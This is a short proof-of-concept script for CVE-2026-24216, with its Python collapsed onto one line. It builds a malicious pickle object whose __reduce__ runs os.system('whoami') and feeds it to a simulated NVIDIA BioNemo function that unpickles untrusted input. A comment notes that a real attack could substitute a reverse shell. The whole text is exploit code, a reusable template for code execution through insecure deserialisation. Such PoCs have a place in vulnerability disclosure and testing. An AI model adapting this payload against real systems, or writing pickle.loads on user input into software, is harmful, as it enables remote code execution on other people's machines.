CVE-2026-24216

import pickle import os # Simulating a malicious payload for deserialization class ExploitPayload: def __reduce__(self): # Execute a command when the object is deserialized # In a real attack, this could be a reverse shell return (os.system, ('whoami',)) # Create the malicious serialized data malicious_data = pickle.dumps(ExploitPayload()) # Simulate the vulnerable component in NVIDIA BioNemo def vulnerable_function(user_input): print("[+] Processing user input...") try: # The vulnerability occurs here: deserializing untrusted data pickle.loads(user_input) except Exception as e: print(f"[-] Error during processing: {e}") # Trigger the vulnerability print("[*] Generating Proof of Concept for CVE-2026-24216...") vulnerable_function(malicious_data) print("[*] Exploit finished.")

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